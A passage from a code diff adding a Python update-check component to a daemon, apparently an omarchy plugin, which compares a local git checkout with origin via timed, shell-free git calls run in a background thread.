case of all: `omarchy plugin update` fetches before it shows its diff, so + a user who looked and said "not now" already *holds* origin's commit + while still being behind it. Deciding "behind" from "we have never seen + that object" alone would show that user nothing. + """ + if not local or not remote: + return "unknown" + if local == remote: + return "current" + if not have_remote: + # We do not hold origin's commit at all, so it is newer than anything + # we know about. + return "behind" + if head_before_remote: + return "behind" + if remote_before_head: + return "ahead" + return "diverged" + + +class UpdateWatch: + """Asks origin, on a slow cadence, whether this checkout is behind. + + The result lives in memory only. A daemon restart forgets it and waits + `FIRST_CHECK_DELAY_S` before asking again, which is why no fifth state + file was added for this. + """ + + def __init__(self, repo: Path = None, enabled: bool = True, spawn=None): + # Derived from this file, not from the working directory: the daemon + # can be started from anywhere. + self.repo = Path(repo) if repo else Path(__file__).resolve().parent.parent + self.enabled = enabled + self.state = "unknown" + self.checked_ts = None + self._next = None + # How a check is run. Off the loop by default: `ls-remote` may sit + # at its 20 s timeout on exactly the flaky network where the + # outage watch matters, and the loop must not wait for it. Tests + # pass a synchronous spawn so the verdict lands within the tick. + self._spawn = spawn or self._in_thread + self._lock = threading.Lock() + self._inflight = False + self._pending = None # a verdict awaiting the next tick + + @staticmethod + def _in_thread(fn): + threading.Thread(target=fn, name="update-check", daemon=True).start() + + def _git(self, *args, capture: bool = True): + """One git call. Fixed argv, no shell, bounded, always timed out.""" + env = dict(os.environ) + # A credential prompt on a private or moved remote would otherwise + # block until the timeout every single time. + env["GIT_TERMINAL_PROMPT"] = "0" + env.pop("GIT_ASKPASS", None) + env.pop("SSH_ASKPASS", None) + # `git -C